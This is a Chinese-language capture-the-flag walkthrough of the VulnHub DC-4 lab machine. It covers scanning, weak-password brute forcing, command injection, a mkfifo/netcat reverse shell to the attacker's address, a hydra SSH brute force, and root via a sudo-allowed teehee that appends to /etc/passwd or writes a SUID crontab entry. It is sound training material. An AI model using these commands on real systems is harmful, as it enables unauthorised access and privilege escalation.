靶机下载地址:https://www.vulnhub.com/entry/dc-4,313/
KALI地址:192.168.75.108
靶机地址:192.168.75.207
使用命令如下
netdiscover -r 192.168.75.108
如下图,发现了我们靶机的地址。
这里使用nmap工具进行扫描,命令如下。
nmap -A -T4 -O -p 0-65535 192.168.75.207
扫描结果如下,发现开放了80
,22
号端口。
既然开放了80端口,那么我们就可以二话不说直接开始目录扫描,命令如下。
dirb http://192.168.75.207
扫描结果如下图,发现并没有什么可以利用的点。
既然开放了,80端口,我们可以直接去访问,如下图,打开首页发现是一个登录框,我们可以尝试登录,随后又抽卡了源代码,网络信息,均没有发现可以利用的点。
经过上面信息收集,发现了首页是可以登录的,并且没有验证码,试过了SQL注入,不行,尝试弱密码爆破。
爆破结果如下,发现密码可能是happy。
经过测试发现就是happy,如下图,并且成功登录进去。
经过发现,发现可以执行命令,如下图,想法是是否可以尝试绕过,执行其他命令。
这里就可以使用bp进行抓包,然后进行绕过,如下图
下面是输出结果,如下图。
所以我们就有了思路,一个思路是,让靶机下载我们的webshell,然后我们连接,第二个思路是反弹shell。
简单的说一下第一种思路,经过测试,发现靶机没有wget的下载权限,就放弃了,直接来到第二个思路也就是反弹shell的思路。
这里在靶机使用的命令是rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.75.108 6666 > /tmp/f;
,
然后在kali里面使用nc命令来进行监听,命令如下。
nc -lnvp 6666
如下图效果开始监听。
这里说一下历程,按照正常来说,像如下图一样发包就可以直接反弹成功了,但是发送了,就是没有反弹,看了大佬的博客才知道不能这样发包。
所以我们需要在前端修改代码,才能成功反弹,如下图查看源代码修改即可,然后点击run运行就可以直接成功反弹shell了。
如下图,KALI成功接收反弹。
先按照如下图操作,先查看自己是什么用户和ID,然后使用python更换终端。
然后我们可以查看/etc/passwd
下面的用户,如下图,发现了,三个用户,一个是jim
,一个是charles
,一个是sam
。
然后经过查找,发现在home目录下面发现了几个人的目录路径,如下图。
经过测试发现,在jim目录下面,发现了老密码的字样,我们直接打开看。
如下图,打开全是密码,这里的思路,这么多密码,肯定要试试暴力破解了,这里我们把密码复制进去文本
我们这里使用hydra
工具来进行暴力破解ssh,使用命令如下。
hydra -l jim -P pass.txt -s 22 ssh://192.168.75.207 -vV
-l #对应的是一个用户,如果是大写的-L就是用户本
-P #对应的是一个密码本,如果是小p那么就是一个密码
-s #对应的是端口
-vV #显示破解过程
如下图破解成功,成功发现jim的密码。
账户:jim
密码:jibril04
但是经过测试发现jim这个账户啥也不能干啊。
经过一番查找在/var/mail
下面发现了一封邮件,邮件内容如下图,发现是密码。
我们可以尝试登录一下查看,如下图,发现可以登录,然后我们查看是否有sudo权限,我们直接使用如下命令查看。
sudo -l
发现有teeche的命令执行权限,如下图。
因为不熟悉teehee的提权方式,所以不怎么熟悉,就查了一下资料,这里有两种方法可以提权,第一种就是在/etc/passwd
下面添加用户
第二种方法就是在linux的自动任务执行里面进行利用。
首先需要执行一个命令perl -le 'print crypt("123456", "ken")
,如下图。
然后就可以执行一个命令来进行添加用户,命令如下。
echo "takagisan:keNdbTFs2CPY6:0:0:::/bin/bash" | sudo teehee -a /etc/passwd
然后如下图,报错失败,查了一下资料之后,发现需要第一次登录root用户在退出来就可以了,所以我这里直接换其他的提权方式了。
看了一下大佬的博客,发现是这样的,创建一个定时人物然后给/bin/sh
赋予SUID的权限,然后用teehee命令这个定时任务,写到/etc/crontab里面去。
命令如下。
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
crontab命令详解可以百度查资料。
这样之后我们就可以直接在控制台里面输入/bin/sh
就可以了,如下图提权成功。
然后我们就可以去查看flag了,如下图,在root目录发现flag。
需要注意查看var下面的mail邮件目录,然后提权需要注意teehee提权方式,还需要多注意查看各种敏感目录,和文件。